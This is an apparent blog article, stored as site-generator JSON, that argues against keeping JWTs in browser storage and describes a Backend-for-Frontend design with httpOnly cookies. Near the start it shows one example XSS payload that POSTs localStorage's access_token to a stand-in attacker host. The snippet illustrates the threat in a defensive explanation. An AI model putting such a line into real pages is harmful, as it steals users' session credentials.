[{"data":1,"prerenderedAt":869},["ShallowReactive",2],{"articles:all:5":3},[4],{"_path":5,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":9,"description":10,"date":11,"draft":7,"author":12,"tags":13,"readingTime":19,"body":20,"_type":863,"_id":864,"_source":865,"_file":866,"_stem":867,"_extension":868},"\u002Farticles\u002Fthe-token-trap-why-we-banned-jwts-from-the-browser","articles",false,"","The Token Trap: Why We Banned JWTs from the Browser","Why storing JWTs in localStorage or client state is a ticking time bomb, and how we architected a zero-baggage frontend using the BFF pattern.","2026-09-13","Swapnil Wankhade",[14,15,16,17,18],"Architecture","Security","Authentication","BFF","System Design","5 min read",{"type":21,"children":22,"toc":848},"root",[23,31,53,58,63,179,184,189,194,206,213,218,225,243,253,259,268,285,291,308,317,322,328,333,338,630,636,722,728,733,739,760,765,771,798,804,816,821,827,832,837,842],{"type":24,"tag":25,"props":26,"children":27},"element","p",{},[28],{"type":29,"value":30},"text","Open Chrome DevTools right now on five web applications you use every day. Navigate to the Application tab, click Local Storage, and look inside.",{"type":24,"tag":25,"props":32,"children":33},{},[34,36,43,45,51],{"type":29,"value":35},"In at least three of them, you will find an ",{"type":24,"tag":37,"props":38,"children":40},"code",{"className":39},[],[41],{"type":29,"value":42},"access_token",{"type":29,"value":44},", and if the team was feeling adventurous, a ",{"type":24,"tag":37,"props":46,"children":48},{"className":47},[],[49],{"type":29,"value":50},"refresh_token",{"type":29,"value":52}," sitting right next to it in plain text.",{"type":24,"tag":25,"props":54,"children":55},{},[56],{"type":29,"value":57},"We have all seen it. Many of us have built it. And for years, Single-Page Application (SPA) architecture has treated this as an acceptable compromise. We tell ourselves: \"Our packages are audited, our dependencies are clean, and our CSP is tight.\"",{"type":24,"tag":25,"props":59,"children":60},{},[61],{"type":29,"value":62},"Then a third-party analytics script gets compromised, an npm package in your build chain suffers a supply-chain injection, or an innocent DOM injection creates a subtle XSS opening. A single line of malicious JavaScript executes:",{"type":24,"tag":64,"props":65,"children":69},"pre",{"className":66,"code":67,"language":68,"meta":8,"style":8},"language-js shiki shiki-themes github-light-default github-dark-default","fetch('https:\u002F\u002Fmalicious-collector.com\u002Fsteal', {\n  method: 'POST',\n  body: JSON.stringify({ token: localStorage.getItem('access_token') }),\n})\n","js",[70],{"type":24,"tag":37,"props":71,"children":72},{"__ignoreMap":8},[73,102,121,170],{"type":24,"tag":74,"props":75,"children":78},"span",{"class":76,"line":77},"line",1,[79,85,91,97],{"type":24,"tag":74,"props":80,"children":82},{"style":81},"--shiki-default:#8250DF;--shiki-dark:#D2A8FF",[83],{"type":29,"value":84},"fetch",{"type":24,"tag":74,"props":86,"children":88},{"style":87},"--shiki-default:#1F2328;--shiki-dark:#E6EDF3",[89],{"type":29,"value":90},"(",{"type":24,"tag":74,"props":92,"children":94},{"style":93},"--shiki-default:#0A3069;--shiki-dark:#A5D6FF",[95],{"type":29,"value":96},"'https:\u002F\u002Fmalicious-collector.com\u002Fsteal'",{"type":24,"tag":74,"props":98,"children":99},{"style":87},[100],{"type":29,"value":101},", {\n",{"type":24,"tag":74,"props":103,"children":105},{"class":76,"line":104},2,[106,111,116],{"type":24,"tag":74,"props":107,"children":108},{"style":87},[109],{"type":29,"value":110},"  method: ",{"type":24,"tag":74,"props":112,"children":113},{"style":93},[114],{"type":29,"value":115},"'POST'",{"type":24,"tag":74,"props":117,"children":118},{"style":87},[119],{"type":29,"value":120},",\n",{"type":24,"tag":74,"props":122,"children":124},{"class":76,"line":123},3,[125,130,136,141,146,151,156,160,165],{"type":24,"tag":74,"props":126,"children":127},{"style":87},[128],{"type":29,"value":129},"  body: ",{"type":24,"tag":74,"props":131,"children":133},{"style":132},"--shiki-default:#0550AE;--shiki-dark:#79C0FF",[134],{"type":29,"value":135},"JSON",{"type":24,"tag":74,"props":137,"children":138},{"style":87},[139],{"type":29,"value":140},".",{"type":24,"tag":74,"props":142,"children":143},{"style":81},[144],{"type":29,"value":145},"stringify",{"type":24,"tag":74,"props":147,"children":148},{"style":87},[149],{"type":29,"value":150},"({ token: localStorage.",{"type":24,"tag":74,"props":152,"children":153},{"style":81},[154],{"type":29,"value":155},"getItem",{"type":24,"tag":74,"props":157,"children":158},{"style":87},[159],{"type":29,"value":90},{"type":24,"tag":74,"props":161,"children":162},{"style":93},[163],{"type":29,"value":164},"'access_token'",{"type":24,"tag":74,"props":166,"children":167},{"style":87},[168],{"type":29,"value":169},") }),\n",{"type":24,"tag":74,"props":171,"children":173},{"class":76,"line":172},4,[174],{"type":24,"tag":74,"props":175,"children":176},{"style":87},[177],{"type":29,"value":178},"})\n",{"type":24,"tag":25,"props":180,"children":181},{},[182],{"type":29,"value":183},"Game over. The attacker doesn't need to break your encryption or intercept your TLS traffic. You handed them the keys on a silver platter because your client held credentials it had no business holding in the first place.",{"type":24,"tag":25,"props":185,"children":186},{},[187],{"type":29,"value":188},"When we set out to build our core authentication system—pairing a modern Frontend Client with an enterprise Identity Provider (IDP)—we made a firm architectural decision:",{"type":24,"tag":25,"props":190,"children":191},{},[192],{"type":29,"value":193},"The browser client will touch zero tokens. No access tokens, no refresh tokens, no temporary tokens. Ever.",{"type":24,"tag":25,"props":195,"children":196},{},[197,199,205],{"type":29,"value":198},"We call this the ",{"type":24,"tag":200,"props":201,"children":202},"strong",{},[203],{"type":29,"value":204},"Zero-Baggage Frontend",{"type":29,"value":140},{"type":24,"tag":207,"props":208,"children":210},"h2",{"id":209},"the-three-false-choices-of-spa-authentication",[211],{"type":29,"value":212},"The Three False Choices of SPA Authentication",{"type":24,"tag":25,"props":214,"children":215},{},[216],{"type":29,"value":217},"When frontend teams evaluate authentication, they usually run into three traditional patterns. All three are flawed:",{"type":24,"tag":219,"props":220,"children":222},"h3",{"id":221},"_1-localstorage-sessionstorage",[223],{"type":29,"value":224},"1. LocalStorage \u002F SessionStorage",{"type":24,"tag":25,"props":226,"children":227},{},[228,233,235,241],{"type":24,"tag":200,"props":229,"children":230},{},[231],{"type":29,"value":232},"The Pitch:",{"type":29,"value":234}," Easy to implement. Tokens persist across page reloads, and the HTTP client can easily grab them to populate ",{"type":24,"tag":37,"props":236,"children":238},{"className":237},[],[239],{"type":29,"value":240},"Authorization: Bearer \u003Ctoken>",{"type":29,"value":242}," headers.",{"type":24,"tag":25,"props":244,"children":245},{},[246,251],{"type":24,"tag":200,"props":247,"children":248},{},[249],{"type":29,"value":250},"The Flaw:",{"type":29,"value":252}," Total vulnerability to Cross-Site Scripting (XSS). Any script executing in your runtime has unrestricted synchronous read access to the storage bucket.",{"type":24,"tag":219,"props":254,"children":256},{"id":255},"_2-in-memory-state-managers",[257],{"type":29,"value":258},"2. In-Memory State Managers",{"type":24,"tag":25,"props":260,"children":261},{},[262,266],{"type":24,"tag":200,"props":263,"children":264},{},[265],{"type":29,"value":232},{"type":29,"value":267}," \"Secure against XSS storage scraping\" because tokens are stored purely in runtime JavaScript variables.",{"type":24,"tag":25,"props":269,"children":270},{},[271,275,277,283],{"type":24,"tag":200,"props":272,"children":273},{},[274],{"type":29,"value":250},{"type":29,"value":276}," The moment the user hits F5 or opens a link in a new tab, the state is wiped. To fix this, teams often write complex silent-refresh mechanics on ",{"type":24,"tag":37,"props":278,"children":280},{"className":279},[],[281],{"type":29,"value":282},"window",{"type":29,"value":284}," focus, which quickly degenerate into race conditions and flaky session recovery. Furthermore, memory dumps and prototype pollution attacks can still extract in-memory variables during active execution.",{"type":24,"tag":219,"props":286,"children":288},{"id":287},"_3-direct-cookies-from-the-upstream-idp",[289],{"type":29,"value":290},"3. Direct Cookies from the Upstream IDP",{"type":24,"tag":25,"props":292,"children":293},{},[294,298,300,306],{"type":24,"tag":200,"props":295,"children":296},{},[297],{"type":29,"value":232},{"type":29,"value":299}," Use ",{"type":24,"tag":37,"props":301,"children":303},{"className":302},[],[304],{"type":29,"value":305},"httpOnly",{"type":29,"value":307}," cookies set directly by the authentication server.",{"type":24,"tag":25,"props":309,"children":310},{},[311,315],{"type":24,"tag":200,"props":312,"children":313},{},[314],{"type":29,"value":250},{"type":29,"value":316}," In modern microservice ecosystems, the IDP rarely lives on the exact same root domain as the frontend client. You end up wrestling with third-party cookie restrictions, browser tracking prevention (ITP), complex CORS preflight overhead, and the nightmare of debugging cross-domain cookies across staging and production environments.",{"type":24,"tag":25,"props":318,"children":319},{},[320],{"type":29,"value":321},"We needed a model where credentials remain entirely untouchable by browser scripts, persistent across reloads, and free of cross-origin friction.",{"type":24,"tag":207,"props":323,"children":325},{"id":324},"the-architecture-the-bff-as-the-border-bouncer",[326],{"type":29,"value":327},"The Architecture: The BFF as the Border Bouncer",{"type":24,"tag":25,"props":329,"children":330},{},[331],{"type":29,"value":332},"Instead of letting the browser talk directly to our upstream microservices, we introduced a Backend-For-Frontend (BFF) layer.",{"type":24,"tag":25,"props":334,"children":335},{},[336],{"type":29,"value":337},"The BFF acts as an Anti-Corruption Layer (ACL) and an absolute security perimeter. The browser only ever talks to the BFF; the BFF talks to the upstream IDP.",{"type":24,"tag":64,"props":339,"children":342},{"className":340,"code":341,"language":29,"meta":8,"style":8},"language-text shiki shiki-themes github-light-default github-dark-default","+-------------------------------------------------------------------+\n|                        THE BROWSER RUNTIME                        |\n|                                                                   |\n|   +---------------------+             +-----------------------+   |\n|   |    UI Components    | \u003C---------> | Client State Manager  |   |\n|   +---------------------+             +-----------------------+   |\n|              |                                    |               |\n|              | Pure UI State (User Profile, UI)   |               |\n|              | ZERO TOKENS IN MEMORY              |               |\n+--------------|------------------------------------|---------------+\n               |\n               | Standard Same-Origin Fetch (\u002Fapi\u002Fauth\u002F*)\n               | Credentials: httpOnly, SameSite=Lax Cookie\n               v\n+-------------------------------------------------------------------+\n|                     BACKEND-FOR-FRONTEND (BFF)                    |\n|                                                                   |\n|   * Intercepts incoming requests                                  |\n|   * Reads & decrypts secure httpOnly cookies                      |\n|   * Appends Authorization headers & tenant context                |\n|   * Strips raw tokens from all upstream responses                 |\n+-------------------------------------------------------------------+\n               |\n               | Server-to-Server Private Network\n               | Authorization: Bearer \u003CJWT>\n               v\n+-------------------------------------------------------------------+\n|                    UPSTREAM IDENTITY PROVIDER                     |\n|                                                                   |\n|   * Issues short-lived access tokens & refresh tokens             |\n|   * Validates cryptographic signatures                            |\n|   * Manages identity lifecycle & RBAC                             |\n+-------------------------------------------------------------------+\n",[343],{"type":24,"tag":37,"props":344,"children":345},{"__ignoreMap":8},[346,354,362,370,378,387,395,404,413,422,431,440,449,458,467,475,484,492,501,510,519,528,536,544,553,562,570,578,587,595,604,613,622],{"type":24,"tag":74,"props":347,"children":348},{"class":76,"line":77},[349],{"type":24,"tag":74,"props":350,"children":351},{},[352],{"type":29,"value":353},"+-------------------------------------------------------------------+\n",{"type":24,"tag":74,"props":355,"children":356},{"class":76,"line":104},[357],{"type":24,"tag":74,"props":358,"children":359},{},[360],{"type":29,"value":361},"|                        THE BROWSER RUNTIME                        |\n",{"type":24,"tag":74,"props":363,"children":364},{"class":76,"line":123},[365],{"type":24,"tag":74,"props":366,"children":367},{},[368],{"type":29,"value":369},"|                                                                   |\n",{"type":24,"tag":74,"props":371,"children":372},{"class":76,"line":172},[373],{"type":24,"tag":74,"props":374,"children":375},{},[376],{"type":29,"value":377},"|   +---------------------+             +-----------------------+   |\n",{"type":24,"tag":74,"props":379,"children":381},{"class":76,"line":380},5,[382],{"type":24,"tag":74,"props":383,"children":384},{},[385],{"type":29,"value":386},"|   |    UI Components    | \u003C---------> | Client State Manager  |   |\n",{"type":24,"tag":74,"props":388,"children":390},{"class":76,"line":389},6,[391],{"type":24,"tag":74,"props":392,"children":393},{},[394],{"type":29,"value":377},{"type":24,"tag":74,"props":396,"children":398},{"class":76,"line":397},7,[399],{"type":24,"tag":74,"props":400,"children":401},{},[402],{"type":29,"value":403},"|              |                                    |               |\n",{"type":24,"tag":74,"props":405,"children":407},{"class":76,"line":406},8,[408],{"type":24,"tag":74,"props":409,"children":410},{},[411],{"type":29,"value":412},"|              | Pure UI State (User Profile, UI)   |               |\n",{"type":24,"tag":74,"props":414,"children":416},{"class":76,"line":415},9,[417],{"type":24,"tag":74,"props":418,"children":419},{},[420],{"type":29,"value":421},"|              | ZERO TOKENS IN MEMORY              |               |\n",{"type":24,"tag":74,"props":423,"children":425},{"class":76,"line":424},10,[426],{"type":24,"tag":74,"props":427,"children":428},{},[429],{"type":29,"value":430},"+--------------|------------------------------------|---------------+\n",{"type":24,"tag":74,"props":432,"children":434},{"class":76,"line":433},11,[435],{"type":24,"tag":74,"props":436,"children":437},{},[438],{"type":29,"value":439},"               |\n",{"type":24,"tag":74,"props":441,"children":443},{"class":76,"line":442},12,[444],{"type":24,"tag":74,"props":445,"children":446},{},[447],{"type":29,"value":448},"               | Standard Same-Origin Fetch (\u002Fapi\u002Fauth\u002F*)\n",{"type":24,"tag":74,"props":450,"children":452},{"class":76,"line":451},13,[453],{"type":24,"tag":74,"props":454,"children":455},{},[456],{"type":29,"value":457},"               | Credentials: httpOnly, SameSite=Lax Cookie\n",{"type":24,"tag":74,"props":459,"children":461},{"class":76,"line":460},14,[462],{"type":24,"tag":74,"props":463,"children":464},{},[465],{"type":29,"value":466},"               v\n",{"type":24,"tag":74,"props":468,"children":470},{"class":76,"line":469},15,[471],{"type":24,"tag":74,"props":472,"children":473},{},[474],{"type":29,"value":353},{"type":24,"tag":74,"props":476,"children":478},{"class":76,"line":477},16,[479],{"type":24,"tag":74,"props":480,"children":481},{},[482],{"type":29,"value":483},"|                     BACKEND-FOR-FRONTEND (BFF)                    |\n",{"type":24,"tag":74,"props":485,"children":487},{"class":76,"line":486},17,[488],{"type":24,"tag":74,"props":489,"children":490},{},[491],{"type":29,"value":369},{"type":24,"tag":74,"props":493,"children":495},{"class":76,"line":494},18,[496],{"type":24,"tag":74,"props":497,"children":498},{},[499],{"type":29,"value":500},"|   * Intercepts incoming requests                                  |\n",{"type":24,"tag":74,"props":502,"children":504},{"class":76,"line":503},19,[505],{"type":24,"tag":74,"props":506,"children":507},{},[508],{"type":29,"value":509},"|   * Reads & decrypts secure httpOnly cookies                      |\n",{"type":24,"tag":74,"props":511,"children":513},{"class":76,"line":512},20,[514],{"type":24,"tag":74,"props":515,"children":516},{},[517],{"type":29,"value":518},"|   * Appends Authorization headers & tenant context                |\n",{"type":24,"tag":74,"props":520,"children":522},{"class":76,"line":521},21,[523],{"type":24,"tag":74,"props":524,"children":525},{},[526],{"type":29,"value":527},"|   * Strips raw tokens from all upstream responses                 |\n",{"type":24,"tag":74,"props":529,"children":531},{"class":76,"line":530},22,[532],{"type":24,"tag":74,"props":533,"children":534},{},[535],{"type":29,"value":353},{"type":24,"tag":74,"props":537,"children":539},{"class":76,"line":538},23,[540],{"type":24,"tag":74,"props":541,"children":542},{},[543],{"type":29,"value":439},{"type":24,"tag":74,"props":545,"children":547},{"class":76,"line":546},24,[548],{"type":24,"tag":74,"props":549,"children":550},{},[551],{"type":29,"value":552},"               | Server-to-Server Private Network\n",{"type":24,"tag":74,"props":554,"children":556},{"class":76,"line":555},25,[557],{"type":24,"tag":74,"props":558,"children":559},{},[560],{"type":29,"value":561},"               | Authorization: Bearer \u003CJWT>\n",{"type":24,"tag":74,"props":563,"children":565},{"class":76,"line":564},26,[566],{"type":24,"tag":74,"props":567,"children":568},{},[569],{"type":29,"value":466},{"type":24,"tag":74,"props":571,"children":573},{"class":76,"line":572},27,[574],{"type":24,"tag":74,"props":575,"children":576},{},[577],{"type":29,"value":353},{"type":24,"tag":74,"props":579,"children":581},{"class":76,"line":580},28,[582],{"type":24,"tag":74,"props":583,"children":584},{},[585],{"type":29,"value":586},"|                    UPSTREAM IDENTITY PROVIDER                     |\n",{"type":24,"tag":74,"props":588,"children":590},{"class":76,"line":589},29,[591],{"type":24,"tag":74,"props":592,"children":593},{},[594],{"type":29,"value":369},{"type":24,"tag":74,"props":596,"children":598},{"class":76,"line":597},30,[599],{"type":24,"tag":74,"props":600,"children":601},{},[602],{"type":29,"value":603},"|   * Issues short-lived access tokens & refresh tokens             |\n",{"type":24,"tag":74,"props":605,"children":607},{"class":76,"line":606},31,[608],{"type":24,"tag":74,"props":609,"children":610},{},[611],{"type":29,"value":612},"|   * Validates cryptographic signatures                            |\n",{"type":24,"tag":74,"props":614,"children":616},{"class":76,"line":615},32,[617],{"type":24,"tag":74,"props":618,"children":619},{},[620],{"type":29,"value":621},"|   * Manages identity lifecycle & RBAC                             |\n",{"type":24,"tag":74,"props":623,"children":625},{"class":76,"line":624},33,[626],{"type":24,"tag":74,"props":627,"children":628},{},[629],{"type":29,"value":353},{"type":24,"tag":207,"props":631,"children":633},{"id":632},"the-rules-of-engagement",[634],{"type":29,"value":635},"The Rules of Engagement",{"type":24,"tag":637,"props":638,"children":639},"ul",{},[640,681,712],{"type":24,"tag":641,"props":642,"children":643},"li",{},[644,649,651,657,659,665,666,672,674,680],{"type":24,"tag":200,"props":645,"children":646},{},[647],{"type":29,"value":648},"The Client is Completely Token-Blind:",{"type":29,"value":650}," The frontend application code never sees, stores, or transmits a JWT. The client state holds strictly displayable UI data: ",{"type":24,"tag":37,"props":652,"children":654},{"className":653},[],[655],{"type":29,"value":656},"id",{"type":29,"value":658},", ",{"type":24,"tag":37,"props":660,"children":662},{"className":661},[],[663],{"type":29,"value":664},"mobile",{"type":29,"value":658},{"type":24,"tag":37,"props":667,"children":669},{"className":668},[],[670],{"type":29,"value":671},"displayName",{"type":29,"value":673},", and ",{"type":24,"tag":37,"props":675,"children":677},{"className":676},[],[678],{"type":29,"value":679},"role",{"type":29,"value":140},{"type":24,"tag":641,"props":682,"children":683},{},[684,689,691,696,697,703,704,710],{"type":24,"tag":200,"props":685,"children":686},{},[687],{"type":29,"value":688},"Cookies Stop at the Edge:",{"type":29,"value":690}," All authentication state is encapsulated inside ",{"type":24,"tag":37,"props":692,"children":694},{"className":693},[],[695],{"type":29,"value":305},{"type":29,"value":658},{"type":24,"tag":37,"props":698,"children":700},{"className":699},[],[701],{"type":29,"value":702},"SameSite=Lax",{"type":29,"value":658},{"type":24,"tag":37,"props":705,"children":707},{"className":706},[],[708],{"type":29,"value":709},"Secure",{"type":29,"value":711}," cookies managed exclusively by the BFF layer.",{"type":24,"tag":641,"props":713,"children":714},{},[715,720],{"type":24,"tag":200,"props":716,"children":717},{},[718],{"type":29,"value":719},"No Direct Microservice Access:",{"type":29,"value":721}," The browser cannot make an arbitrary request to the IDP. Every outbound API call from the client passes through the BFF, which injects the appropriate Bearer token on the server side before forwarding the request.",{"type":24,"tag":207,"props":723,"children":725},{"id":724},"why-zero-baggage-changes-frontend-velocity",[726],{"type":29,"value":727},"Why \"Zero Baggage\" Changes Frontend Velocity",{"type":24,"tag":25,"props":729,"children":730},{},[731],{"type":29,"value":732},"Removing security mechanics from the client runtime does not just harden the application—it dramatically simplifies day-to-day frontend development.",{"type":24,"tag":219,"props":734,"children":736},{"id":735},"_1-elimination-of-fragile-http-interceptors",[737],{"type":29,"value":738},"1. Elimination of Fragile HTTP Interceptors",{"type":24,"tag":25,"props":740,"children":741},{},[742,744,750,752,758],{"type":29,"value":743},"In traditional SPA architectures, frontend engineers spend hundreds of hours maintaining brittle client-side interceptors. You know the drill: catching a ",{"type":24,"tag":37,"props":745,"children":747},{"className":746},[],[748],{"type":29,"value":749},"401 Unauthorized",{"type":29,"value":751},", pausing the network queue, triggering a refresh endpoint, updating ",{"type":24,"tag":37,"props":753,"children":755},{"className":754},[],[756],{"type":29,"value":757},"localStorage",{"type":29,"value":759},", and retrying five queued requests without causing duplicate refresh calls.",{"type":24,"tag":25,"props":761,"children":762},{},[763],{"type":29,"value":764},"In our architecture, that entire class of bugs ceases to exist on the client. If an access token expires, the BFF handles the silent rotation behind the scenes during the request lifecycle. The client simply asks for data and receives it.",{"type":24,"tag":219,"props":766,"children":768},{"id":767},"_2-true-xss-immunity-for-authentication-state",[769],{"type":29,"value":770},"2. True XSS Immunity for Authentication State",{"type":24,"tag":25,"props":772,"children":773},{},[774,776,781,783,789,791,796],{"type":29,"value":775},"Even if an attacker finds a way to execute malicious JavaScript on the page, they cannot steal the user's session. The authentication cookies have the ",{"type":24,"tag":37,"props":777,"children":779},{"className":778},[],[780],{"type":29,"value":305},{"type":29,"value":782}," flag set, making them physically inaccessible to ",{"type":24,"tag":37,"props":784,"children":786},{"className":785},[],[787],{"type":29,"value":788},"document.cookie",{"type":29,"value":790}," or ",{"type":24,"tag":37,"props":792,"children":794},{"className":793},[],[795],{"type":29,"value":282},{"type":29,"value":797}," inspections. The browser automatically attaches the cookie on same-origin requests to the BFF, but script payloads cannot export or clone the secret.",{"type":24,"tag":219,"props":799,"children":801},{"id":800},"_3-native-ssr-compatibility",[802],{"type":29,"value":803},"3. Native SSR Compatibility",{"type":24,"tag":25,"props":805,"children":806},{},[807,809,814],{"type":29,"value":808},"Modern frameworks are built for hybrid rendering (SSR and SSG). When your auth state lives in ",{"type":24,"tag":37,"props":810,"children":812},{"className":811},[],[813],{"type":29,"value":757},{"type":29,"value":815},", the server has no idea who the user is during initial HTML rendering, resulting in painful layout flashes, redirect flickers, and hydration mismatches.",{"type":24,"tag":25,"props":817,"children":818},{},[819],{"type":29,"value":820},"Because our session state lives in standard HTTP cookies, the BFF has access to the user's session during the initial Server-Side Render, allowing the system to deliver personalized, authenticated HTML on the very first byte.",{"type":24,"tag":207,"props":822,"children":824},{"id":823},"whats-next",[825],{"type":29,"value":826},"What's Next?",{"type":24,"tag":25,"props":828,"children":829},{},[830],{"type":29,"value":831},"Establishing a tokenless boundary solves the security dilemma, but it introduces a new architectural challenge: contract friction.",{"type":24,"tag":25,"props":833,"children":834},{},[835],{"type":29,"value":836},"Upstream identity providers are built for backend systems. They expect strict case conventions, raw data formats (like E.164 phone numbers), and serialize user objects into complex backend structs. Meanwhile, modern frontend applications expect pristine camelCase, localized inputs, and normalized data objects.",{"type":24,"tag":25,"props":838,"children":839},{},[840],{"type":29,"value":841},"In Part 2, we will break down how we built the Anti-Corruption Layer—exploring data transformers, runtime schema validation, and how we keep our UI components completely decoupled from backend idiosyncrasies.",{"type":24,"tag":843,"props":844,"children":845},"style",{},[846],{"type":29,"value":847},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":8,"searchDepth":123,"depth":123,"links":849},[850,855,856,857,862],{"id":209,"depth":104,"text":212,"children":851},[852,853,854],{"id":221,"depth":123,"text":224},{"id":255,"depth":123,"text":258},{"id":287,"depth":123,"text":290},{"id":324,"depth":104,"text":327},{"id":632,"depth":104,"text":635},{"id":724,"depth":104,"text":727,"children":858},[859,860,861],{"id":735,"depth":123,"text":738},{"id":767,"depth":123,"text":770},{"id":800,"depth":123,"text":803},{"id":823,"depth":104,"text":826},"markdown","content:articles:the-token-trap-why-we-banned-jwts-from-the-browser.md","content","articles\u002Fthe-token-trap-why-we-banned-jwts-from-the-browser.md","articles\u002Fthe-token-trap-why-we-banned-jwts-from-the-browser","md",1789326121192]